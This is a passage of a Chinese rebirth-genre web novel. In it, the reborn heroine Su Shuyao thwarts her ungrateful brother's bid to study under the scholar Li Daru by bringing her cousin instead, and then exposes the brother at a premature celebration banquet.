苏明珠心中暗喜，表面却劝道：“姐姐，明芷妹妹没机会出门，也是对外面好奇，姐姐今儿去了哪里，干了些什么，说给明芷妹妹听听，她就开心了。” 苏舒窈淡淡道：“出去买了盆兰花。” 只想赶紧把两人打发了。 苏明珠不相信：“真的？” “妹妹为何对我的行程如此关心？”苏舒窈好奇地看过去。 苏明珠见她这么镇定，应该没有救到人，放心下来：“姐姐想靠兰花发家致富，太过荒谬了，还是奉劝姐姐一句，做人做事，都应该脚踏实地，一步一个脚印。” 苏舒窈浅浅一笑：“这句话回敬给妹妹。” ~ 这边，威远侯要求苏明沛到李大儒家负荆请罪。 苏明沛找到上一世苏舒窈买围棋的地方，要买下上一世那副围棋。 一问价格，五千两。 苏明沛眼睛都瞪圆了：“五、五千两？” 这么贵？！ 他没有感念苏舒窈为他拜师之路斥重金，反而感叹：苏舒窈管理侯府中馈，不知道贪了多少银子？！ 五千两的围棋说买就买！ “本世子诚心购买，能不能便宜一点。” 掌柜笑道：“最低价四千八百五十两，爷，这可是上等羊脂白玉做的白子，罕见的墨玉做的黑子，整个京城就此一幅，您运气好，今儿这幅棋刚送来，你要晚来个半日，指定被人买走了。” “行，本世子要了！”苏明沛拿了棋就要走。 掌柜伸手一拦：“爷，本店概不赊账。” “我乃威远侯府世子！”苏明沛亮出自己的身份。 上一世，不管他走到哪里，只要亮出自己的身份，那些商家为了巴结他，恨不得把东西免费送给他。 区区四千八百五十两，他怎么会赖账？！ 掌柜嗤笑：“威远侯府世子，没听过，爷要是不付钱，在下可是要报官了。” 苏明沛：“你家主子是谁？” 掌柜：“我家主子是华国公世子。” “华国公世子元配，我认识！”上一世，元配和他亲如兄弟，他可是帮了元配不少忙。 “你让人去通知元配一声，就说威远侯府世子苏明沛借他一副围棋。” 掌柜不知真假，派伙计去通知自家主子，伙计回来之后，朝着苏明沛吐了口痰：“主子说了，什么威远侯世子？！听都没听过，想是来诈骗的，只管把人打出去！” “啊呸，哪里来的落魄户！” 苏明沛被轰了出来，再次丢了个大脸。 第22章 就算你求我，我也不去 苏明沛疑惑，上一世元配明明那么善解人意，他经常在他店铺里拿东西他都不会多言的。 有时候得了好东西，还会主动送给他。 这一世究竟怎么了？ 元配怎么变得这般铢锱必较了？！ 为了拜师，苏明沛没有办法，回府找账房支银子。 账房听说要支取五千两，一个劲摇头：“世子爷，账上没有那么多银子。” “怎么可能没有？！” 上一世苏舒窈管家的时候，七八千两银子他都支取过。 苏明沛抓着账房就要打：“说，是不是你贪墨了？！” “世子爷，真没有，账本就在这里，不信您看。” 苏明沛接过账本一看，账面只有一千多两。 他没有办法，求到了万氏那里，万氏借了两万两给苏明珠，手头也有些紧。 但听说苏明沛是为了拜李大儒为师，还是咬牙拿了出来。 苏明沛以后可是侯府爵位继承者，她后半生的荣辱，都寄托在苏明沛身上，对他的前途，还是要用点心。 苏明沛拿着银子，重新回到店铺：“这是五千两，不用找了！” “好的，爷，小的马上给您包起来！” 见到银子，掌柜的态度一百八十度大转弯。 苏明沛冷嗤一声。 一群势利眼！ 等他飞黄腾达之日，定要再次光顾，把掌柜的脸打肿！ 苏明沛拿着羊脂玉围棋，再次来到李大儒府上。 门房远远看到他，便把大门关了，隔着门和他说话：“哎哟，这不是才高八斗的苏世子吗，《秋菊赋》做完，是不是要做《冬雪赋》了啊？《春雨赋》、《夏荷赋》也该着手准备了！” 苏明沣气得七窍生烟，还要忍着恶心，将围棋送上去：“麻烦送给李大儒，赔罪之礼。” 门房：“李大儒不收礼，苏世子请回。” 苏明沛发飙道：“你都没让李大儒看到，怎么知道李大儒不收？！” 真是阎王好找，小鬼难缠。 苏明沛威胁半天，门房不为所动：“苏世子再胡搅蛮缠，别怪我报官了！” “再把世子打出去，丢的可是威远侯府的脸面。” 最后苏明沛没办法，好说歹说，打点了十两银子，门房才松口。 看着门房把围棋送进去，苏明沛如释重负，心下暗自思忖，等他拜得李大儒为师，一定要将门房发卖去矿山挖矿。 “小心一些，这副围棋用的是上好羊脂玉和墨玉雕琢而成，千金难求！” 门房把围棋拿进去，不到半盏茶时间又送了出来。 “我家大儒说了，围棋拿走，不收礼。” 李大儒确实爱棋，苏明沛送的这幅围棋，实属珍品，他看第一眼就喜欢。 但，他着实不喜苏明沛，不想和他扯上一点关系，围棋再好，也不想要。 苏明沛接过围棋，恍惚间，差点没站稳。 不要......李大儒怎么会不要...... 上一世，苏舒窈也送的是这幅围棋的啊？！ 为什么苏舒窈送过来李大儒就收，他送过来，李大儒就不收？！ 他心中的天塌了。 难道拜师之路，就这样断了？！ 苏明沛坐在地上，一脸颓唐，努力回忆上一世发生的事...... 上一世，苏舒窈好像不止送了这幅围棋，她还救了李大儒的女儿。 对，苏舒窈救了李大儒的女儿。 他想起来了！ 这一世，他也可以去救李大儒的女儿！ 可是，在哪里救，怎么救的，他也不知道！ 苏舒窈真是鸡贼，上一世把救人的经过瞒得死死的！ 想到这里，苏明沛再次打起了精神。 他要救人！ 苏明沛打定主意要救人，便日日徘徊在李府门口等待时机。 等了几天，碰到李大儒带着女儿回来。 一问才知，李大儒的女儿在路上生产，幸亏遇到好心人救助，方能母子平安。 苏明沛激动地拉着门房询问：“救人的好心人叫什么？！” 门房看他一眼。 他不耐烦扔出二两银子。 门房这才笑道：“听说姓苏，具体叫什么名字我不知道。” 苏明沛又问：“这苏小姐救了李大儒的女儿，李大儒拿什么谢她？” 门房挠了挠头：“听说苏小姐有个哥哥，来年要参加科举，苏小姐希望大儒指点她的哥哥。” 苏明沛当即哈哈大笑。 门房疑惑道：“你笑什么？” 苏明沛冷笑一声：“你说呢？我也姓苏，下次见到我，可要恭敬些了。” 不然把你卖去挖矿！ 苏明沛浑身的毛孔都顺畅了。 回到侯府，他没有去找苏舒窈。 他不可能主动去找苏舒窈，主动去找她，只能让她更得意。 要是主动去求她，她不得狂成什么样，又会对他的学习指点江山。 他坚信，就算不去找苏舒窈，苏舒窈也会主动找上门，求着他去拜师。 毕竟她只有他一个即将参加科举的大哥。 苏明沛等了好几天，苏舒窈那边都没有动静。 他有些坐不住了，他上一世学的东西全忘了，必须要找个老师。 一般私塾的老师不配教他，他今后可是官居二品的尚书大人，只有李大儒，才配当他的老师。 苏明沛屈尊降贵来到倚兰居。 苏明沛一来，苏舒窈便知道他是为了拜师的事而来。 苏舒窈假装不知，淡淡地问道：“世子来干什么？” 苏明沛听见称呼，愣了愣：“世子？大哥都不叫了？” 他冷笑一声：“苏舒窈，你别以为你这样，我们就会伤心难过？” “苏舒窈，你不值得！你没那么了不起！你不叫我大哥，明珠、明芷会叫我大哥！” 苏舒窈叹了口气。 要是不在意，为何这般破防？ 她淡淡地重复：“你来干什么？” 苏明沛想到正事，冷静了许多：“听说你救了李大儒的女儿？” 苏舒窈抬起眼皮，一派云淡风轻：“世子听谁说的？” “苏舒窈，你拿乔是吧？要我求你是吧？！” “你别以为，你能让李大儒收我为徒，你便了不得！” “苏明珠说了，要帮我的。我不需要你假惺惺！” 苏明沛嘴上这么说，心里却不以为然。 苏舒窈就是贱皮子，不管怎么骂她，她还是会争着抢着帮他。 他觉得，苏舒窈失去了中馈，便要在其他地方找补。 他不会让苏舒窈得逞。 再说了，苏舒窈不帮他帮谁？ 她到哪里去找一个即将科举的哥哥？！ “你就算把机会送到我面前，我死都不会去！” 苏舒窈温婉笑着，目光平静：“那便等着你的好妹妹苏明珠帮你吧。” 苏明沛本来资质一般，上一世经过李大儒的指导，勉强考了个同进士。 这一世没有李大儒的指导，只要烤红薯了。 第23章 气急 不管苏明沛如何暴跳如雷，指天骂地，苏舒窈始终波澜不惊。 她手中捧着一盏青花瓷碗，热气氤氲间，模糊了棱角分明的侧颜，五官更显柔和、安静。 越发衬得苏明沛像个戏台上的丑角。 “苏舒窈，到时候你可别来求着我去拜师！” 苏明沛急得面红耳赤，丢下一句狠话离开了。 苏舒窈看着他的背影，只觉得好笑。 秋霜有些担心：“大小姐，您和世子爷说话，还是尽量软一些，以后这威远侯府，毕竟是世子承爵，威远侯府再怎么说，也是您的娘家，大小姐以后嫁人了，也需要娘家支持，没有娘家帮忙，今后嫁了人会受欺负的。” 苏舒窈淡淡一笑，“他们靠不住的。” 侯府里的主子各有各的自私，各有各的算计。 上一世靠不住，这一世，她完全没有想过要靠他们。 “可是......” “没有可是，你要不要听我的？” “......我听大小姐的。” 苏舒窈知道，秋霜也是关心则乱，担心她吃亏。 好在秋霜性子软，苏舒窈语气稍微强硬一些，她便乖乖听话了。 秋霜还小，局限在后宅这一亩三分地，走不出来。 等再长大一点便知道，要想活得自在，靠外人始终是下乘。 只有靠自己，方能收放自如。 “走，我们去大伯娘那里，看看明厉的文章写得怎么样了？” 李大儒派人传话，让苏舒窈带人去的时候，带一篇文章，看看基本功怎么样。 刚走到巷子口，门口的小厮看到苏舒窈，便让人进去通传：“大小姐回府了！” 苏明沣欢快地跳了出来，像只兴奋的小马驹：“小妹回来了！” 苏舒窈逗他：“明明你才是弟弟。” 苏明沣揉了揉鼻子，一双迥然有神的大眼睛眨巴了两下：“舒窈，就叫我一声三哥哥好不好？” 声音带了一丝祈求，眉眼也耷拉下来。 母亲说了，舒窈的生日并不准确，她那么小一个，肯定是妹妹。 “我好想有个妹妹啊！” “不对，是我们全家都想要个妹妹。” 苏明沛双手合十，眸中光泽流转，好似正注视着罕见的珍宝，眼神里带着一丝期盼，又有一丝害怕。 小心翼翼憋着气，生怕惊扰了她似的。 威远侯府两个哥哥，从来没有用这种眼神看过她。 苏舒窈心里一暖，小声道：“三哥哥。” “唉！”苏明沣眉眼一扬，双眼像是落满了星辰：“哎呀，我有妹妹啦！！！” “小妹，快来，大家等着你呢！” 少年的情绪，鲜活又浓烈。 苏舒窈不知不觉被感染了，也跟着欢愉起来。 大伯娘和苏明厉早已等在厅堂，苏明厉看到人，温声道：“小妹回来了。” 转而训斥苏明沣，又换了副严厉的口气：“都十六了，还这般没大没小！没得吓到小妹！” 苏明沣沉浸在拥有妹妹的喜悦里，一点也没生气。 苏舒窈上前一步请安：“明厉。” 苏明沣得意一笑，头顶马尾飞扬，一身绯色长袍衬得他好似骄阳般耀眼：“小妹叫我三哥哥，叫你的名字！” “小妹和我亲！” 苏明厉清了清嗓子：“舒窈妹妹，你也叫我哥哥吧，别让三弟这般得意。” 大伯娘也道：“对，叫名字显得太生分了。” 苏舒窈低着头，浅浅地叫了声：“大哥哥。” 苏明厉高瘦清隽、斯文端方，被叫大哥哥，耳尖微红地应了声好。 “大哥哥文章做得怎么样了？” “已经做好了。”苏明厉拿出文章，双手递过去：“请妹妹帮忙看一看。” 苏明沛在一旁叫嚷：“大哥听说能让李大儒指点文章，兴奋地埋头苦读了三天，眼睛熬得像两块煤炭！小妹快看看，大哥熬夜究竟有没有偷懒！” 苏明厉脸色一黑，耳尖却更红了。 苏舒窈低头笑了笑。 苏明厉是个踏实肯学的。 他的字写得很好，一手漂亮的簪花小楷，一看就是下了苦功夫的。 苏舒窈带着人去了李大儒府上。 李大儒事先做过调查，知道苏舒窈是威远侯府大小姐，他真怕苏舒窈带来的兄长是苏明沛。 如果她带来的是苏明沛，他就算顶着“忘恩负义”的骂名，也不想指点。 看到苏明厉的时候，李大儒长舒一口气。 苏明厉比苏明沛沉稳许多，一点也不浮躁，基本功也扎实，文章虽然稚嫩，但比起什么狗屁《秋菊赋》，好了不止一星半点。 李大儒长舒一口气的同时，又起了惜才之心，当即带着人到书房说话。 苏舒窈去探望李鸢。 李鸢在坐月子，气色很不错，见苏舒窈上门，又让乳娘把孩子抱给她看。 “坐月子真的太无聊了，等我出了月子，我们一起去长公主的花宴玩吧。” 说着，便递给她一张帖子。 长公主的赏花宴，也是变相的相亲宴，京城里有头有脸的人家都会想办法参加。 听说长公主最近也在为嫡长子相看。长公主的夫君姓谢，出生江南大族，长子早早就封了郡王。 谢小郡王从小在江南长大，学识渊博、才华出众，京城贵女趋之若鹜。 可以说，长公主家赏花宴的帖子，一帖难求，威远侯府这样的落魄人家，根本不可能被邀请。 上一世，李鸢伤了身子，孩子也不太好，月子里天天垂泪，根本没有心情参加赏花宴。 这一世，李鸢的身子没有亏虚，孩子也平安，心境也跟着变化了。 对于这样的变化，苏舒窈很开心。 侯府所有人的结局，也会变得和前一世不一样了。 苏舒窈接过帖子，淡淡地道了谢。 她吃了碗红糖鸡蛋，又送了孩子一副长命锁。 从李大儒家离开，秋霜笑道：“大小姐平时在侯府，很是沉稳，哦哦，不对，大小姐在外面也沉稳，到了大伯娘那里，好似变成小孩子了。” 苏舒窈很喜欢这样的变化。 现在的她，也才十六岁，正是青春活泼的年纪，正该像刚长出的嫩芽般肆意生长。 被上一世的情绪影响，在侯府的时候，她像是被死气笼罩。 到了大伯娘家里，她才又活了过来。 第24章 喜宴 临走时，大伯娘拿出一双袜子：“舒窈，这是大伯娘亲手做的，你要是不嫌弃，拿去穿着玩。” 苏舒窈愣了愣：“大伯娘，现在家里有了丫鬟，这些活交给丫鬟就行。” 大伯病后，大伯娘便靠做针线活养家，日夜不停地做，晚上还舍不得点灯，很快就把眼睛熬花了。 医师说了，今后都要少做针线活。 大伯娘笑道：“一双袜子，费不了太多神，姑娘家总要穿两件长辈做的贴身衣物，才能平安。” 大夏认为，未出阁的姑娘穿着长辈亲手做的贴身衣物，不仅能平安，还能嫁的良婿。 万氏对苏舒窈多有嫌弃，怎么会亲手给她做衣物。 “拿着，要是穿着舒服，大伯娘还给你做。” 家里没什么好料子，这还是她嫁妆里的棉布，希望舒窈不会嫌弃。 苏舒窈接过袜子，心里流过一道暖意。 袜子布料柔软、针脚细密，虽然不是绫罗，但一看就是用了心。 活了两世，别说袜子，万氏什么都没有给她做过。 她的贴身衣物，全是丫鬟们做的。 对于一个十六岁的小姑娘来说，被母亲不喜，这是天大的委屈。 重活一世，她都快忘记这样一份委屈了，大伯娘还帮她记着。 “谢谢大伯娘，我会好好穿的。” ~ “砰——” 汝窑瓷碗摔在地上，四分五裂。 苏明珠在院子里大发脾气，摔了不少东西。 “好你个苏舒窈，不声不响的，竟然背着我把人给救了！” 苏明珠不是傻子，她天天派人盯着苏舒窈，也派人盯着李府。 得知李鸢被人救助之后，气得摔了不少碗碟花瓶。 前些日子，她天天跟着苏舒窈，中了暑热、掉了河、被人笑......竟然连李鸢的面都没见到。 原本以为天衣无缝，结果付出那么多，没有一丝回报，搁谁谁不气？！ 仔细算来，苏舒窈救人应该在她香料验货那天。 真是走了狗屎运！ 苏舒窈救了人又怎么样？！ 大哥感谢的人，只会是她。 苏明珠来到苏明沛院子里，苏明沛正在写字，见到人，扔下手中的狼毫。 “明珠，你怎么来了？” 苏明珠捏着帕子，带着浓浓的愧疚：“大哥，对不起，小妹太没用了。” “之前说好要帮大哥拜师的，小妹亲自去求了大儒，还是没能打动大儒。” 说完，便朝着苏明沛跪了下来：“大哥，小妹对不起你。” 苏明沛心疼得无以复加，一个箭步冲上前将人扶了起来：“明珠，怎么能怪你！” “你的心意，大哥都明白。” 苏明珠眼眶一红，眼泪便扑朔着大颗大颗落了下来：“大哥心胸宽广不与小妹计较，但小妹内心难安，事关大哥前程，都是小妹的错，大哥你尽管打我骂我......” 苏明沛将人扶到椅子上坐好，小声：“明珠，拜师的事，已经定下来了。” 明明是苏明珠来道歉，到了后面，竟然是苏明沛哄着她别哭了。 苏明珠眼含热泪：“啊？真的？那要恭喜大哥了！大哥，你拜师成功怎么不通知小妹，不是说好了要给你摆酒庆祝的吗？” 苏明沛叹了口气，将苏舒窈救人并且向李大儒提出要求的事说了。 苏明珠心里惴惴，面上依然欢喜：“那真是太好了，大哥什么时候去李大儒府上学习？” 苏明沛冷哼一声：“苏舒窈在拿乔，等着我去求她，她才肯带我去！” 见到苏明沛一脸怒容，苏明珠先是松了口气，而后张开嘴，惊讶又夸张地“啊”了一声。 “拜师是大事，姐姐怎么能这样啊？” 又道：“大哥，你是不是误会姐姐了，姐姐不是这般不明事理之人。” 苏明沛咬牙切齿道：“她就是这种人！” “她越是这样，我越不会感谢她，明珠，她要有你十分之一善解人意就好了。” “她也就是运气好，碰巧救了人而已。” 苏明珠也是这样想的，要是她遇到李鸢，也能救人。 她不仅能救人，还能借此积累人脉。 李鸢的夫君深受陛下器重，李鸢在京城贵妇圈也颇有人脉，要是她救了人，定要和李鸢搞好关系。 “大哥才华横溢，拜得名师也是实至名归！要是大哥愚不可及，姐姐就算救了李大儒十条命，李大儒也不会答应收徒的！” 苏明珠想了想，继续道：“这样吧，我置办一桌宴席，把相好的人家都请来，就说是大哥拜师成功的庆功宴。” “摆了席，大家都知晓此事，姐姐不会再拖延，定会尽快带着大哥去李大儒府上。” 苏明沛没有说话。 他不想和苏舒窈和解，但拜师之事迟迟不成功，他确实有些烦躁。 苏明珠这个主意，极好。 既能让苏舒窈早日带他去拜师，他也不用向苏舒窈服软。 “明珠，还是你对我最好，今后我考中进士，加官进爵，定会护你一世。” 就算拜师成功，他也不会感谢苏舒窈。 苏舒窈真的不值得。 还是明珠最好。 苏明珠暗自得意，赶紧张罗庆功宴去了。 苏明珠离开后，苏明沛拿着书，不知该从何读起。 东翻一下，西看两页。 他记得，这些都是上一世读过的，但具体内容记不得了。 再读一次，也不知道会做多少无用功。 书棋上前劝道：“世子爷，要是看不下去，不如出去散散心，说不定出去转一圈，回来就能看下去了。” 苏明沛把书一扔，点了点头。 李大儒学识渊博，在李大儒的指点下，学习自然会事半功倍。 也不差这一天两天。 “京城最近有哪些新鲜事儿？” 书棋回道：“听说马场新来了几匹烈马，世子爷要不要去看看？” 马场不仅卖马，还能赌马。 书棋喜欢赌，推荐的散心方式，也是和赌有关。 “行吧，咱们去马场看看。” 那副围棋李大儒没收，苏明沛死皮赖脸把围棋拿去退了，退来的银子他自己留了下来。 本来就是拜师的银子，现在拜师成功，他也不急着还给万氏，留着身上应急。 上一世，他身上随时都有上万两银票。 这一世和上一世比起来，太寒酸了。 母亲知道，也会理解的。 苏明沛跟着书棋去了赌马场。 上一世他虽然没有去赌过马，但闲谈之间，也是听过不少黑马的名头。 定能赢好多银子。 第二日一早，苏明珠亲自来通知，让苏舒窈去赴宴。 听说是苏明沛拜师成功的庆功宴，不仅邀请了亲朋好友，还有大哥的朋友。 苏舒窈知道，这是一场专门为她置办的鸿门宴，逼她承诺带着苏明沛去李大儒府上。 在这么多人面前，她如果让苏明沛下不来台，苏明沛会记恨她一辈子。 就算她承认了救人一事，答应了带苏明沛去李大儒家，苏明沛也不会感谢她。 苏明珠真是好算计。 第25章 鸿门宴 一大早，整个侯府张灯结彩，喜气洋洋。 苏明珠不仅请了和侯府走动比较亲密的人家，还请了苏明沛几个好友。 万氏换了身新衣，满头珠翠，打扮得华丽非常，她坐在主位上，一脸慈悲地接受着旁人的恭维。 “苏世子拜师李大儒，岂不是成了太子同窗，前途无量啊！” “赶明儿苏世子中了进士，便有官身了，夫人真是好福气。” “唐家姐儿没福气，竟然和苏世子解除了婚约，今后有的她后悔！” 万氏一张脸笑成了花儿：“哪有，只是侥幸入了大儒的眼，得到几分指点罢了。” “夫人可别谦虚，能入大儒青眼，已经是万里挑一的人物了。” “这宴席是明珠张罗的？操持得真不错。” 苏明珠可是花了大价钱从千杯醉叫了席面，不仅有鱼翅燕窝鲍鱼，还有八珍。 听着女眷们夸奖自己，苏明珠谦虚道：“哪有，都是跟着姐姐学的。” 其中一女眷道：“苏家大姑娘掌家的时候，可没有这么好的席面。” “明珠可真能干。” 苏明珠腼腆一笑，想必过不了多久，她的贤名便会在高门大户之间流传。 席面设置在花厅，中间用屏风隔了，男左女右。 苏舒窈过来的时候，宾客已经入席，她的位置提前留好了，主桌，左边是万氏，右边是苏明珠。 她的位置竟然是主位。 真是司马昭之心路人皆知。 苏明珠主动迎了上来：“姐姐终于来了，还以为姐姐不来了。” 简单一句话，桌面女眷竟然全都看了过来。 心中直道：威远侯府大小姐真是霸道，不仅要坐主桌主位，还拿乔，真是骄纵。 苏舒窈淡然一笑，没有坐下去，主动端起酒水，走到苏明沛面前举起酒杯： “恭喜世子拜得名师，祝世子前程似锦。” 苏明沛见她脸色淡然，看起来像是诚心祝愿，接下祝福：“多谢。” 苏舒窈敬完酒，并没有离开，她言笑晏晏地看着人，柔声道： “世子乃有大志气之人，前几日，我侥幸救了李大儒的女儿，李大儒答应我，可以指点小女子家兄几篇文章，我原本打算将世子引荐给李大儒，却遭到了世子言辞拒绝。” “世子说了，他坚决不会靠我拜师，打死都不要我的引荐，今日听闻世子拜师成功，想必是世子靠自身才华赢得大儒亲眼。” “世子不仅才华横溢，且铁骨铮铮，实在让我敬佩。” “如此高洁情操，真乃芝兰玉树、遗世独立。” 她的语气不疾不徐，温柔坚定，娓娓道来，很有感染力。 简单几句话，便将苏明沛塑造成了一个品德高尚、澄澈无垢的如玉公子。 在座众人皆举起酒杯，朝着苏明沛敬酒。 “苏世子实乃君子典范！” “苏世子品性高洁，令在下佩服得五体投地！！” “......” 溢美之词如同滔滔江水连绵不绝，苏明沛着实没想到，苏舒窈今日竟然转了性子，这么会说话了。 他倒没有觉得苏舒窈不会引荐，只是觉得苏舒窈是在讨他欢心，故意这么说，为了讨好他。 事后还是会将他引荐给李大儒的。 苏明沛好似喝了罐蜜，谦虚地笑道：“谬赞了，谬赞了！” 有人问道：“苏世子，为什么要拒绝大小姐的好意？” 苏明沛不矜不伐道：“人各有志，某只是不想走捷径罢了。” “能靠自己的能力，何必寻求歪门邪道？” “某相信，事在人为。” “君子当如青松临崖，风骨铮铮。” 不知道谁带头鼓起掌来，霎时间，整个花厅掌声雷动，五花八门的赞扬声纷至沓来。 苏舒窈抿唇一笑，这才施施然落座，仿若棋局落子般从容。 旁人注意力被分散，无人在意她是否做了不该坐的主位。 忽然，一道声音响起：“可我听说，李大儒最近确实在指点一学子文章，这个人却不是苏世子啊？” “啊？难道李大儒要指点两名学子？” 苏明沛抬眼看过去，说话之人乃东安伯世子顾朔。 苏明沛自持侯府世子，看不起伯府世子，顾朔也不是个好相与的，两人互别矛头，一向不和。 听说顾朔要来参加庆功宴，苏明沛一开始还不开心，但一想到能在顾朔面前炫耀，竟然有些高兴。 顾朔不过是在国子监进学，便拽得跟个二五八万似的，这要亲眼看到他拜入李大儒名下，不得气死。 “李大儒只会收一名关门弟子。”苏明沛大声道。 李大儒唯一关门弟子，才值得人追捧。关门弟子多了，便不稀奇了。 前一世，李大儒只有他一名关门弟子。 他不认为李大儒会再收另一名弟子。 顾朔站起来，大声道：“那名弟子已经连续数日登门拜访大儒了，听说那名弟子颇得大儒喜欢。” “苏世子怕都没能进到李大儒府上吧！” 苏明沛皱了皱眉：“不可能，绝对不可能！” 顾朔大声道：“怎么不可能，那人苏世子也认识，找人一问便知！” “那人是谁？” “苏明厉，苏世子的堂弟。”顾朔没有拿乔，直接说出了名字。 听到苏明厉三个字，苏明沛脸色一变，看向苏舒窈。 苏舒窈的兄长，明年即将科举...... 这个兄长，除了他，还有苏明厉...... “你......苏明厉是你带去的？” 苏舒窈先是诧异了一瞬，然后怯生生地缩了缩身体，一脸无辜道：“世子，是你说了打死都不要我帮忙，我才将明厉哥哥带到李大儒府上的。” 前一秒，苏明沛才当着这么多人的面承认不要她帮忙的。 大家还夸了苏明沛高风亮节铁骨铮铮。 “怎么？有问题吗？” 她扬起那张漂亮的芙蓉面，露出一抹恰到好处的疑惑，任谁看了，都觉得无辜。 苏明沛竟然生生捏碎了手中酒杯，破了个大防。 在座之人不是傻子，全都明白了。 苏明沛这还没拜师呢，倒先把庆功宴摆上了。 苏舒窈坐在主位上，从容恬淡地舀起一勺鱼翅羹。 不愧是千杯醉的席面，口感顺滑，恰如云絮落入喉间。 苏明珠置办的席面，可真好。 第26章 挑拨 苏明沛站在人群中央，酒杯碎瓷割了手，鲜血流淌。 面对这样的突发情况，他变得手足无措。 他想解释，上一世，他不仅是李大儒唯一的关门弟子，还是新帝最信赖的臣子，最后更是官至二品，万人敬仰。 但那是上一世的事，现在的他，连科举都还没考中。 无从开口。 什么话也说不出来，只能用一双布满红血丝的眼睛，鼓瞪着、恶狠狠盯着苏舒窈，仿若要生啖其血肉。 都怪苏舒窈，把一切都毁了！ “怎么回事？拜师没成功啊？没成功摆什么庆功宴，这不是脑子有病吗？” “什么有病啊，没看到是想逼大小姐吗？给大小姐安排了一个主位，就想逼着大小姐带他去拜师呢！” “嘴上说着不走捷径，看见捷径跑得比谁都快！” “真是又当又立！” “哎哟，今日可真是涨见识了！” 人性便是如此，当你春风得意，大家便会捧着你、顺着你，周围都是好人，说话都好听。 一旦跌入尘埃，之前恭维你的那些人，便恨不得人人都上来踩一脚，让你死。 一开始大家恭维的有多诚心，现在的挖苦就多刺耳。 顾朔自然是那个领头搞事的：“苏世子，这拜师没成功，我们送的礼，是不是该退还给我们啊？！” “难不成，威远侯府已经落魄到靠骗取礼金度日了？！” 苏明沛咬着牙龈，极力忍耐。 忽然，胸中传来一阵刺痛，他竟然生生呕出一团血来。 “卧槽，竟然吐血了！” “这是有多气啊！” 忽然，一阵爆呵打断了众人的议论。 “大家安静！” 威远侯站了出来，朝着在座各位鞠了一躬：“大家误会了，李大儒说了，不收徒，犬子也没有拜师。” “大儒只是答应指点犬子几篇文章。” 这句话大有深意，指点几篇文章，到时候究竟指点没指点，旁人也不知道。 威远侯瞪了苏明沛一眼，真是蠢笨如猪，这么大个人，一点涵养功夫没有。 当面露出丑态，侯府的面子都被败光了。 就算有天大的事，先忍着，下来再质问苏舒窈难道不好？ 偏要当着这么多人的面。 在场哪一个不是人精？这点猫腻一下就被看出来了。 威远侯压下心头怨恨，道：“今日也不是什么庆功宴，只是想借此机会请各位亲朋聚一聚。” “这事还要怪我，是我没有交代清楚，让明珠误会了，导致明珠下帖子的时候写了让大家误会的话。” 有人出来打圆场道：“能得到李大儒指点几篇文章，也是机会难得。李大儒可不是谁都会指导的。” 万氏也道：“大家吃好喝好，大家送的礼金，待会儿也拿回去，就当吃顿便饭。” 威远侯让人将苏明沛领了下去，“犬子前几日便有些不好，想是复发了，一点小毛病，大家不必担心。” 没人担心苏明沛的病。 但苏明沛被抬走了，戏也看不成了，众人便开始埋头吃菜、喝酒。 苏舒窈能喝一点果酒，她端着酒杯，唇边挂着一抹从容的笑意。 并非为苏明沛的丢脸而愉悦，而是对接下来将要发生之事的从容。 苏明沛的庆功酒，很爽口。 她放下酒杯，淡定地指挥丫鬟帮忙夹菜。 万氏看了她一眼，眼中充满了疑惑。 苏舒窈是真无辜，还是在做戏？ 她想开口询问，又怕多问多错。 这个养女，不知道什么时候，变得让她看不懂了。 罢了，就算要责怪，也要等客人走了再说。 “夫人看着我干什么？”苏舒窈微微侧身，淡淡地看了过去。 万氏慈祥一笑，夹了一筷子糯米莲藕到她碗里：“尝尝，你最喜欢的菜。” 苏舒窈喜欢藕，唯独不喜欢糯米莲藕，太过甜腻，反而掩盖莲藕清香。 万氏对她的喜好，一无所知。 却要在外人面前装出一副慈母模样。 “多谢夫人。”苏舒窈道完谢，任由那块糯米莲藕静静地躺在碗中，直到丫鬟收碗，都没有再动一下。 看着苏明沛被人抬下去，苏明珠一张脸煞白。 砸了，全办砸了。 “母亲，我去看看大哥。” 这个点子是她提出来的，到时候宾客散尽，清算起来，全家肯定会怪罪于她。 她必须把苏明沛稳住，把仇恨全部推到苏舒窈身上。 苏舒窈见她要溜，不疾不徐道：“今日宴席本是妹妹操持的，妹妹要是走了，谁来主持？” 万氏也是怨上苏明珠了，都还没落实的事，办什么庆功宴？！ 上千两银子一桌的宴席，到头来一份礼金都没收到，还丢了这么大的脸。 “坐好了，等宴席结束再说。” 万氏的声音有些严厉，隐隐透着一抹不悦。 苏舒窈淡然一笑。 能打败亲生女儿的，只有亲生儿子。 顾朔朝着苏舒窈投去一个眼神，大声道：“这场宴席，就当预祝苏世子金榜题名了！” 讽刺味儿浓得很。 “预祝苏世子金榜题名！高中状元！” “到时候这这高中进士可是做不了假了！” 可惜苏明沛被人抬走了，没有听到。要是听到，估计还要再呕一口血。 坐了一会儿，苏舒窈起身去净房，遇到老二苏明添，苏明添俸威远侯之命令去给苏明沛找大夫。 “是你搞的鬼吧？”苏明添斜眼觑着人，眼神藏着一抹厌恶。 上一世，苏明添骑马伤了腿，是她不远千里求来神医医治。 担心他的伤势，日日探望、亲手换药。 苏明添伤好之后，最感激的却是苏明珠。 她还记得苏明添要喝酒，她上前劝阻，苏明添的原话：“这也不许吃，那也不许吃，苏舒窈，你别拿着鸡毛当令箭！” “明珠专门问了神医，酒活血化瘀，可是喝的！” “苏舒窈，你真啰嗦......苏舒窈，你怎么不去死......” 她以为她不会在意，其实那些诛心之语，她全都记在心里的。 这一世，她定会放下助人情节，尊重他人命运。 苏舒窈看了人一眼：“二哥这话真是稀奇，客人不是我请的，宴席也不是我办的，怎么什么事都能怪到我头上？” 苏明添被噎了一下，嗤道：“牙尖嘴利！不及明珠万分之一！” 说完，便要拂袖离去。 苏舒窈眼眸微闪，开口将人叫住：“二哥。” 苏明添停下脚步，十分不耐烦：“有话快说，有屁快放！” “大哥今日这番作为，把仅剩的一点侯府余威败完了，二哥，该怎么办啊？” “咱侯府在大哥的带领下，真的会再次辉煌吗？” 第27章 离间 苏明添闻言，当即骂道：“说什么乱七八糟的，什么余威败完了，咱威远侯府好着呢！” 他烦躁地挠了挠头。 他当然懂得一荣俱荣一损俱损的道理，大哥丢脸，他也跟着丢脸。 要不是宴席上客人讥讽的嘴脸刺得他眼痛，他也不会找借口离开：“苏舒窈，咱侯府丢脸，你要负主要责任！” 都怪苏舒窈不强行把拜师名额给大哥，才出今天这档子事儿！ 苏舒窈淡淡地看过去：“我这么做，完全是为了二哥。” 苏明添疑惑：“为了我？” 